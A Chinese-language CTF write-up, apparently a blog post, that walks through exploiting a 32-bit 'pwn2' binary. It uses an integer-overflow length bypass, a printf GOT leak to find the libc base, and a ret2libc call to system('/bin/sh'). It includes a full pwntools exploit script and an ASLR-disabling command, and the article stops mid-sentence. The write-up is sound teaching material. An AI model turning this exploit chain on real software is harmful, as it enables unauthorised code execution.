news 2026/11/3 23:47:00

32位pwn2整数溢出与libc泄露ret2libc实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
32位pwn2整数溢出与libc泄露ret2libc实战

这道 pwn2 题我前后做了三遍,第一遍卡在负数长度不生效,第二遍卡在泄露出来的地址跟 libc 对不上,第三遍才把整数溢出和泄露 libc 这两件事彻底串通。它是个非常典型的 32 位入门题:程序自己带了一个看起来有边界检查的读入逻辑,但检查用的是有符号 int,read 用的是 size_t,一个-1就把 32 字节的限制变成了 0xffffffff 字节。拿到栈溢出之后,题目没开 PIE、没开 canary,理论上可以直接 ret2text,但程序里根本没有能拿 shell 的后门函数,所以必须走 ret2libc ——先溢出一次把某个 libc 函数的真实地址打出来,算出 libc 基址,再溢出第二次跳到 system,参数指向 "/bin/sh"。整数溢出负责"能溢出",泄露 libc 负责"溢出到哪",这两个点是这道题的全部。下面我按自己的分析顺序把每一步摊开写,包括反编译的关键几行、偏移怎么量、泄露值怎么验、本地和远程为什么会表现不一样,以及几个我在别的题里也反复用得上的技巧。

1. 先把这题拆成两个可以独立攻克的小问题

拿到一道 pwn 题,最怕的是一上来就想 exp 怎么写,写到一半发现连漏洞点都没定位准。我习惯先做减法:把整道题拆成若干个"如果只做这一步,我能不能验证它对不对"的小问题。这道 pwn2 拆下来就是两块,一块是"怎么让 read 读进超过缓冲区大小的数据",另一块是"拿到溢出能力之后,跳到哪个地址才能拿到 shell"。两块互相独立,可以分别验证,验证完再拼起来。

1.1 拿到二进制文件后的固定动作

不管什么题,落地的第一批命令永远是那几个,快而且信息密度高。先用file看架构,确认是 32 位还是 64 位,这决定了后面所有地址宽度、参数传递方式、gadget 写法。再用checksec看保护,重点看 canary、NX、PIE、RELRO 四项。最后用 IDA 或者objdump -d看主逻辑。这三步做完,题目大概能干什么基本就有数了。

file ./pwn2 checksec --file=./pwn2

我这份样本的输出是这样的(你自己的样本以实际输出为准):

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

这四行信息量很大。i386-32-little说明是 32 位小端,函数参数走栈,地址 4 字节,p32打包。No canary found意味着栈溢出不需要先泄露 canary,省掉一大截工作量。NX enabled意味着栈上不能执行代码,shellcode 那条路直接堵死,只能 ROP。No PIE意味着代码段的地址是固定的,plt 表、got 表、函数地址在每次运行时都不变,这让第一次溢出的返回地址可以直接写死。Partial RELRO说明 got 表可写但延迟绑定还在,不影响我们读 got 表拿地址。

提示:checksec现在在新版 pwntools 里是pwn checksec,独立包叫pwntools自带的checksec脚本或者checksec --file=。如果提示找不到命令,直接用 pwntools 里的ELF('./pwn2').checksec()一样能看。

1.2 为什么必须走 ret2libc 这条路

很多人做完 checksec 的第一反应是"没开 PIE 那就 ret2text",找一个system或者后门函数直接跳。这道题不行,因为导入表里没有system,程序自身也没有任何能执行命令的函数。没有可跳的目标,ret2text 就是空谈。

第二条路是 shellcode,NX 一开直接排除。第三条路是 ret2libc,原理是:libc 这个库在每个进程里都会被加载,system和"/bin/sh"字符串都在里面,只要知道 libc 在内存里的加载基址,就能算出它们的绝对地址。而 libc 的加载基址每次运行都变(ASLR),所以要先泄露一个"已经解析过的 libc 函数真实地址",减去这个函数在 libc 文件里的固定偏移,得到基址。

这个思路听起来绕,其实跟现实生活中的类比一模一样:你知道某个朋友家在某条街上,但不知道具体门牌;你手里有一张"某便利店距离他家 300 米"的信息卡,只要查到便利店在这条街上的确切门牌,就能反推出他家的门牌。泄露出来的 libc 函数地址就是那张信息卡,函数在 libc 里的偏移就是那 300 米,libc 基址就是这条街的起点。

注意:走 ret2libc 有一个隐藏前提——你得知道目标进程用的 libc 版本。本地跑用本机的 libc,远程打要用题目附带的那个 libc 文件。版本对不上,偏移就全错,算出来的 system 地址会跳到一片莫名其妙的区域,表现为"程序直接崩了,没有任何输出"。这是这类题最高频的失败原因,后面第 5 节会专门展开。

2. 整数溢出到底溢在哪:一行 if 挡不住的负数

这道题的核心漏洞不在 read,而在 read 前面那个if。程序作者显然意识到了缓冲区只有 32 字节,于是加了一句"你要读的字节数不能超过 32",看起来挺严谨。问题出在变量类型上:这个长度变量声明成了有符号的int,而if的判断、printf的打印、read的第三个参数,三处对同一个值的解读并不一致。

2.1 反编译代码的还原与关键行

用 IDA 按 F5 出来的伪代码大概长这样(变量名我按自己的习惯改过,逻辑不变):

int vuln(void) { char buf[32]; // [ebp-0x28] int n; // [ebp-0x8] int pad; // [ebp-0x4] printf("How many bytes do you want me to read? "); scanf("%d", &n); if ( n > 32 ) { printf("No! That size (%d) is too large!\n", n); exit(0); } printf("Ok, sounds good. Give me %d bytes of data!\n", n); read(0, buf, n); return 0; }

这段代码里有个很关键的信息:buf在ebp-0x28,n在ebp-0x8,两者之间正好 32 字节,和char buf[32]的声明对得上。n占 4 字节,ebp-0x4到ebp之间还有 4 字节对齐填充,再往上是 4 字节的 saved ebp。所以从buf起点到返回地址的直线距离是0x28 + 4 = 0x2c,也就是 44 字节。这个数字后面会反复用到,先记住。

if (n > 32)这行是典型的有符号比较。n是int,32 是int,编译器会用有符号比较指令(jle之类)来实现。-1跟 32 比,-1更小,条件不成立,检查通过。程序不会报错,反而高高兴兴地打印一句"Give me -1 bytes of data!",然后进入 read。

2.2 int 到 size_t 的那次隐式转换

read的原型是ssize_t read(int fd, void *buf, size_t count),第三个参数是size_t,在 32 位下就是无符号的unsigned int。当n = -1传进去的时候,编译器不会报错也不会警告(在默认警告级别下),而是直接把-1的补码原样搬过去:0xffffffff。有符号的 -1 和无符号的 4294967295 在内存里是同一串比特,只是解读方式变了。

这就是整数溢出的本质:同一个 32 位值,被检查时当成有符号数,被使用时当成无符号数,检查的语义和使用时的语义脱节了。检查认为"很小",实际使用认为"极大"。缓冲区只有 32 字节,read 却被告知可以读 4G 字节,后面有多少数据就写多少,栈上那一整片区域全部被覆盖。

这个模式远不止出现在 CTF 里,真实软件里类似的 bug 一抓一把:长度字段用int存,校验时跟MAX_LEN比较,然后传给memcpy的size_t参数。凡是"先检查后使用、检查和使用类型不一致"的地方,都要警惕。

提示:不只是 -1 能用,-100、-2147483648都能过检查。区别只在于转成无符号之后的值够不够大。-1转出来是最大的 0xffffffff,最稳。有些题会把检查写成if ((unsigned)n > 32),那就彻底堵死了,这时候要往别的方向找。

2.3 为什么 scanf 后面那个换行是必须处理的坑

这是我在这一题上第一次翻车的地方,也是这类用scanf读长度、read读数据的题的通用坑。scanf("%d", &n)读到数字字符就停,遇到非数字字符(比如回车)会把那个字符留在 stdin 的输入缓冲区里,不消费掉。紧接着的read(0, buf, n)从 stdin 读,第一个读到的就是那个残留的换行符\n。

也就是说,如果你按最直觉的写法:

io.sendline(b'-1') # 发送 "-1\n" io.send(b'A'*44 + p32(...)) # 这个 payload 会被整体后移一个字节

read 会把\n写到buf[0],然后 44 个 A 写到buf[1..44],最后那个p32(...)落在buf[45]开始的位置。返回地址在buf[44],被写成了'A'(0x41),跳过去必崩。现象是"程序收到 payload 之后直接段错误",没有任何提示,特别容易让人怀疑偏移算错了。

解决办法很简单,在 payload 前面主动补一个\n占位,后面的填充少一个字节:

def build(payload): return b'\n' + b'A' * (OFFSET - 1) + payload

这样buf[0]是那个残留的换行,buf[1..43]是 43 个 A,总共 44 字节刚好填到返回地址之前,payload 从返回地址开始对齐。

我个人的处理习惯是:只要程序里出现scanf或getchar后面紧跟read/gets的组合,就默认缓冲区里有残留字符,先按"补一个字节"写,跑通了再回头看要不要去掉。宁可多写一个\n,也别在这上面浪费半小时。

3. 泄露 libc:第一次溢出该泄谁、怎么泄

有了溢出能力,第一次溢出不急着拿 shell,而是拿地址。这一次溢出的目标是:控制返回地址,跳到一个"能把某个 libc 函数的真实地址打印出来"的函数上,并且打印完之后程序还能再回到能触发漏洞的地方,方便我们打第二次。

3.1 输出函数的选择与优先级

泄露的本质是"把 got 表里的内容打到屏幕上"。got 表存的是函数被解析后的真实地址,只要程序之前调用过这个函数,got 表里就是有效的 libc 地址。所以要挑一个已经被调用过的函数来泄露,否则 got 表里还是 plt 的延迟绑定桩地址,泄出来是 0x0804xxxx,一看就不对。

32 位下最常用的三个泄露手段,我按优先级排:

手段优点缺点适用场景
write@plt(1, got, 4)长度可控,精确输出 4 字节,不受 0x00 影响需要程序导入了 write,且要凑三个参数,需要 gadget有 write@plt 且能找到 pop ret 时首选
puts@plt(got)调用简单,一个参数,输出到 0x00 为止末尾额外输出换行,且遇 0x00 截断有 puts@plt 时最省事
printf@plt(got)不需要额外 gadget,一个参数搞定把地址字节当格式串解析,遇到 0x25(%)会崩或输出错乱没有 write/puts 时的兜底

我手上这份样本的导入表里没有write也没有puts,只有printf、scanf、read、exit这一类,所以只能走printf(got)这条路。用elf.plt和elf.got一眼就能确认:

elf = ELF('./pwn2') print(elf.plt) # 看看有哪些 plt 可用 print(elf.got) # 看看有哪些 got 可读

printf(printf_got)能泄露,靠的是一个有点 hack 的性质:printf 的第一个参数被当作"格式字符串的地址",它会去这个地址读内容当格式串解析。printf_got这个地址里存的内容,是 printf 的真实地址(比如0xf7e1c4f0),那么 printf 就把\xf0\xc4\xe1\xf7这四个字节当成格式串。这些字节里除了%(0x25)之外都不是格式说明符,会被原样输出,直到遇到 0x00 停止。于是屏幕上就出现了地址的原始字节。

注意:这个手法有个前提,泄露出来的地址字节里不能含 0x00(会提前截断)也不能含 0x25(会被当格式符解析,轻则输出错乱重则崩)。libc 加载在 0xf7xxxxxx 附近,最高字节是 0xf7,一般不会是 0,但低字节恰好是 0x00 的概率约 1/256。如果你算出来的泄露值前几位明显不对,先怀疑这个。

3.2 栈溢出偏移的两种算法

偏移这事儿不能靠猜,我用过两种办法,互相验证最保险。

第一种是 IDA 静态看。前面反编译已经给出来了:buf在ebp-0x28,返回地址在ebp+0x4,相减得 0x2c,也就是 44。这种算法快,但前提是你看对了变量位置,如果 IDA 里有数组或者结构体,栈布局可能跟你以为的不一样。

第二种是cyclic动态测,最可靠。用 pwntools 生成一段有规律的字符串发过去,程序崩溃时 EIP 会变成其中某 4 个字节,用cyclic_find反查这 4 个字节在字符串里的位置,就是准确偏移。

from pwn import * io = process('./pwn2') io.sendline(b'-1') io.recvuntil(b'data!') io.send(b'\n' + cyclic(100)) io.wait() # 崩溃信息里会显示 eip = 0x6161616c 之类 # 然后 cyclic_find(0x6161616c) 就能得到偏移

我这份样本实测出来是 44,跟 IDA 算的一致。你拿到自己的副本之后,务必自己跑一次cyclic,别直接抄这个数。编译器版本、优化等级、题目作者改过代码,都会让偏移变化,44 只是这道题的答案。

提示:用cyclic的时候一定要记得前面那个\n占位,否则测出来的偏移会莫名其妙多 1 或者少 1,然后在别的地方排查半天。这种"测量工具的误差"比漏洞本身更折磨人。

3.3 把泄露值换算成 libc 基址

拿到 4 字节的泄露值之后,用u32转成整数,就是 printf 的运行时地址。然后用本地那份 libc 文件查出 printf 的偏移,两者相减就是 libc 基址:

libc = ELF('./libc.so') printf_addr = u32(leak) libc_base = printf_addr - libc.sym['printf'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

这里有两个细节值得单独说。

第一个是泄露值的补齐。printf(got)输出的是地址字节直到 0x00,可能只输出 1 字节、2 字节就停了。用io.recv(4)如果只收到 2 字节,u32会报错。正确写法是:

leak = io.recv(4).ljust(4, b'\x00') printf_addr = u32(leak)

ljust(4, b'\x00')的意思是"不足 4 字节就用 0x00 在右边补齐"。这个技巧看着不起眼,但在泄露类题目里能救很多次。因为在 32 位小端下,地址的高位字节恰好是 0x00 的概率远比你想象的高。

第二个是版本校验。在算基址之前,先用泄露值的最低 12 位(也就是页内偏移)跟 libc 文件里 printf 的最低 12 位比一下。libc 是页对齐加载的,每次运行只有高位变,低 12 位是固定的。如果这两个数对不上,说明你的 libc 文件不是目标进程用的那个,后面算出来的一定是错的,赶紧换文件,别浪费时间去调 payload。

print(hex(printf_addr & 0xfff), hex(libc.sym['printf'] & 0xfff)) # 两个数必须完全相等,否则 libc 版本不匹配

这个方法比"打一下看看崩不崩"高效太多了,我后来做所有泄露类题目都先在脚本里加这一行,省掉很多试错。

4. 第二次溢出:从基址到 system("/bin/sh")

libc 基址拿到之后,剩下的就是标准的 ret2libc 构造。32 位的函数调用靠栈传参,所以调用system("/bin/sh")的栈布局是:返回地址跳system,紧跟 4 字节的"system 执行完返回到哪"(这里随便填,反正拿到 shell 之后也不回来了),再跟 4 字节的参数,也就是"/bin/sh"的地址。

4.1 完整 exp 逐段说明

把上面所有东西拼起来,完整的利用脚本大概是这样:

from pwn import * context(arch='i386', os='linux', log_level='info') elf = ELF('./pwn2') libc = ELF('./libc.so') printf_plt = elf.plt['printf'] printf_got = elf.got['printf'] vuln_addr = elf.sym['vuln'] # 符号表里没有的话,用 IDA 里看到的函数起始地址 OFFSET = 0x2c # 44 def build(payload): # scanf 残留的 '\n' 占 1 字节,所以要少填 1 个 return b'\n' + b'A' * (OFFSET - 1) + payload def start(): if args.REMOTE: return remote('127.0.0.1', 9999) return process(['stdbuf', '-o0', './pwn2']) io = start() # ---------- 第一次溢出:泄露 printf 的真实地址 ---------- io.sendlineafter(b'?', b'-1') io.recvuntil(b'data!') io.send(build(p32(printf_plt) + p32(vuln_addr) + p32(printf_got))) leak = io.recv(4).ljust(4, b'\x00') printf_addr = u32(leak) log.success('printf -> %#x' % printf_addr) assert printf_addr & 0xfff == libc.sym['printf'] & 0xfff, 'libc 版本不匹配' libc_base = printf_addr - libc.sym['printf'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) log.success('libc base -> %#x' % libc_base) # ---------- 第二次溢出:跳 system("/bin/sh") ---------- payload = p32(system_addr) payload += p32(0) # system 的返回地址,随便填 payload += p32(binsh_addr) io.sendlineafter(b'?', b'-1') io.recvuntil(b'data!') io.send(build(payload)) io.interactive()

逐段解释几个容易忽略的地方。

vuln_addr这里有用elf.sym['vuln']自动取的写法。如果这个函数是static或者符号表被 strip 了,elf.sym里可能没有,那就去 IDA 里看函数的第一条指令(一般是push ebp),把那个地址抄下来。千万不要返回到函数中间,中间地址缺少函数开头保存 ebp 的那条指令,mov esp, ebp恢复栈的时候会拿到错误的 ebp,函数返回时直接崩。返回函数开头,让 prologue 完整走一遍,才稳。

第一次溢出的返回链是printf_plt -> vuln_addr -> printf_got。执行顺序是:read 返回 → 跳到 printf_plt → printf 按栈上的参数取到printf_got当格式串 → 打印出地址 → printf 返回到vuln_addr→ 程序重新回到漏洞函数,可以再打一次。

第二次溢出的返回链是system_addr -> 0 -> binsh_addr。system 执行时esp指向0那一格,它把这个当自己的返回地址,把下一格binsh_addr当第一个参数。所以"/bin/sh"必须在system_addr往后数的第 3 个 4 字节位置。

注意:32 位下一般不用考虑 16 字节栈对齐问题,那个是 64 位movaps的坑。但如果你在 32 位题上遇到system进去就崩、gdb 里看是在 libc 内部的某个movaps指令上挂掉,可以试着在system前面多垫一个ret指令平衡栈。这种情况少见但存在,记在心里有个底。

4.2 本地调试验证与远程差异

本地跑通之后不要急着打远程,两边的环境差异经常让人白忙活。

第一个差异是 libc 版本。本地是当前系统的 libc,远程是题目附带的那个。这两个文件必须分开加载,脚本里用一个参数控制:

libc = ELF('./libc.so') if args.REMOTE else ELF('/lib/i386-linux-gnu/libc.so.6')

或者干脆两个文件都准备好,用args切换。我在做题目的时候习惯把远程 libc 存成./libc.so放在脚本同级目录,本地用系统路径,这样一条命令能跑两边。

第二个差异是 stdout 缓冲。这个坑非常隐蔽,表现为:本地io.recvuntil(b'?')一直卡住,等半天收不到任何输出,但用gdb挂上去看程序明明已经打印了。原因是程序通过管道运行时,stdout 是全缓冲模式,printf 的内容攒在缓冲区里没有真正写到管道,等缓冲区满(4096 字节)或者程序退出才刷出来。

解决办法有三个,我按推荐程度排:

# 方案一:用 stdbuf 强制 stdout 无缓冲(最干净) io = process(['stdbuf', '-o0', './pwn2']) # 方案二:用伪终端,让程序以为自己连着终端,stdout 变成行缓冲 io = process('./pwn2', stdin=PTY, stdout=PTY) # 方案三:不 recvuntil,直接盲发(知道流程的情况下最快) io.sendline(b'-1') io.recvuntil(b'data!') # 这一句可能也收不到,改用 sleep

我一般用方案一,stdbuf -o0一行搞定,不改变程序行为,调试起来也干净。远程那边一般没这个问题,因为服务端往往用伪终端方式启动进程,或者是题目作者自己设置了setbuf。

第三个差异是 ASLR。本地调试的时候有时候会想关掉 ASLR 方便观察,echo 0 > /proc/sys/kernel/randomize_va_space。但关掉之后测出来的地址是固定的,容易掩盖"两次溢出用的基址是不是同一个"这类问题。我的建议是从一开始就开着 ASLR 调,让你的 exp 从一开始就适应随机化,别等到打远程才发现逻辑有问题。

5. 踩坑速查表和几条不太写进文档的经验

这道题我前后踩了五六个坑,大部分在别的 pwn 题上也会重复出现。我把它们整理成一张表,看到类似症状可以直接对号入座。

5.1 问题速查表

现象最可能的原因排查方法解决方式
发完 payload 程序直接崩,无任何输出偏移错了,或者 scanf 残留的\n没处理用cyclic重测偏移;在 payload 前加\n占位偏移按实测值改,payload 统一用build()包一层
泄露出来的地址是0x0804xxxx开头那个函数还没被调用过,got 表里还是 plt 桩地址换一个已经被调用过的函数泄露选程序启动后立刻会调用的函数,如 printf
泄露值只有 2 个字节,u32报错地址中间有 0x00,提前截断打印io.recv(4)的原始字节看看用ljust(4, b'\x00')补齐
泄露值算出来不像 libc 地址libc 版本不对,或者泄露函数选错比对addr & 0xfff和libc.sym[func] & 0xfff换正确的 libc 文件
第二次溢出崩在 libc 内部system 地址算错(基址是假的)在 gdb 里x/i $eip看跳到了哪回到第一步重新核对 libc 版本
本地 recvuntil 卡死,远程正常stdout 全缓冲,输出没刷出来用 gdb 挂上看是不是已经打印了stdbuf -o0或者PTY
拿到 shell 后cat flag没回显交互模式问题,或者 shell 没真正起来先发echo hello看有没有回用io.interactive(),或者直接io.sendline(b'cat flag')
远程打不通,本地一切正常远程 libc 不同,或者远程端口没起先连一下看有没有 banner换题目给的 libc,检查连接

这张表里我标红过的(心里标红)是第一条和第四条。第一条坑的是"你以为是漏洞没打通,其实是自己发错了一个字节";第四条坑的是"你以为是 payload 写错了,其实是文件拿错了"。这两个都属于工具层面的问题,靠看代码是看不出来的,只能靠对症状的敏感度。

5.2 几条不太好写在文档里的经验

第一,泄露类题目一上来先验版本,别急着写完整 exp。我现在写所有 ret2libc 题,第一步都是写一个最小的泄露脚本,只干一件事:泄地址、打印、比对低 12 位。这一步通过了,后面写 payload 才有意义。如果这一步没过就往下写,出问题的时候你要同时怀疑 payload 构造、偏移、libc 版本三个变量,排查难度翻好几倍。把变量减少到一个,是调试的基本功。

第二,printf(got) 这个泄露手法要留个心眼。前面说过它把地址字节当格式串解析,如果地址里恰好有 0x25,printf 会去找对应的参数,栈上那些乱七八糟的值可能被当指针解引用,直接段错误。遇到这种情况,能换 puts 就换 puts,没有 puts 就想办法用 write,实在不行用printf("%s", got)这种需要 gadget 的写法。我遇到过一次泄露地址里带%的情况,现象是程序打出一堆乱码然后挂掉,找了半天才发现是这个原因。

第三,返回 vuln 的位置要选函数入口,不是随便一行。这道题的 vuln 函数开头是push ebp; mov ebp, esp; sub esp, 0x28,这三条指令建立了栈帧。如果你返回到sub esp, 0x28后面的某条指令,函数结尾的leave; ret会用错误的 ebp 恢复栈,程序必崩。我一开始图省事返回到中间的 read 调用处,结果泄露完之后程序就死了,第二次溢出根本没机会打。后来老老实实返回到函数入口,一次就通了。

第四,payload 长度不要贴边。read 的 count 是 0

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/3 23:46:58

V2X技术实战:智能汽车通信与安全优化解析

1. 项目概述作为一名在汽车电子领域深耕多年的工程师,我见证了V2X技术从实验室走向量产落地的全过程。今天想和大家聊聊现代智能汽车中V2X技术的实际应用现状,特别是那些在标准文档里不会写的工程实践细节。V2X(Vehicle-to-Everything&#x…

作者头像 李华
网站建设 2026/11/3 23:45:06

AI智能体集群失控事件复盘:多智能体协作安全风险与防御实践

那段时间我刚好在跟踪Hugging Face Spaces上的一些强化学习实验,结果撞见了一个挺魔幻的场面:一群AI agent在自己互相拉群,集群规模一度冲到1200个左右,最后把平台侧的安全策略给“挤”穿了。官方后来给了一个比较克制的回应&…

作者头像 李华
网站建设 2026/11/3 23:45:01

通用具身大脑VLA与WAM模型解析与应用

1. 项目背景与行业定位这个估值突破200亿的"通用具身大脑"项目,本质上是在解决机器人领域的"最后一公里"问题。传统机器人往往只能在特定场景下完成预设任务,而这个项目试图打造一个能适应多种环境的通用智能体。就像给机器人装上了…

作者头像 李华
网站建设 2026/11/3 23:44:43

FP8 KV Cache实测:显存省一半,吞吐提升却看并发场景

最近在自建推理集群上做了一轮 KV Cache 相关的压测,焦点是 vLLM 里争议不小的--kv-cache-dtype fp8。做之前我的预期很简单:KV Cache 占了推理显存的大头,FP8 量化后显存大概减半,显存减半意味着同样一张卡上能塞的并发序列翻倍&…

作者头像 李华
网站建设 2026/11/3 23:43:17

从零手写ReAct Agent循环:纯Prompt驱动掌控大模型工具调用

很多人一听到 Agent,第一反应就是打开 LangChain、LlamaIndex 或者 AutoGPT 的教程,直接往上套框架。但我觉得,真正理解 Agent 最好的方式,恰恰是从零手写一个最原始的 ReAct 循环。这个项目就是这么来的:不依赖任何框…

作者头像 李华